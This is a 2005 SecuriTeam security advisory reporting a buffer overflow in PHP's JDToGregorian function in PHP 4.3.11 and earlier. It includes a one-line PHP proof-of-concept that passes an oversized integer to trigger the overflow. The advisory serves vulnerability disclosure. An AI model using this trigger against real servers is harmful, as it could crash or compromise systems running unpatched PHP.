[NEWS] PHP Calendar Buffer Overflow

From: SecuriTeam (support_at_securiteam.com)
Date: 06/28/05

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Date: 28 Jun 2005 11:23:03 +0200

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      PHP Calendar Buffer Overflow
    ------------------------------------------------------------------------

    SUMMARY

    PHP's Calendar function JDToGregorian allows remote attackers to overflow
    a buffer utilized by the function by providing it with a very large number
    as its input.

    DETAILS

    Vulnerable Systems:
     * PHP version 4.3.11 and prior

    Exploit:
    <?php

      JDToGregorian(999999999);

    ?>

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:FistFuXXer@gmx.de>
    FistFucker.

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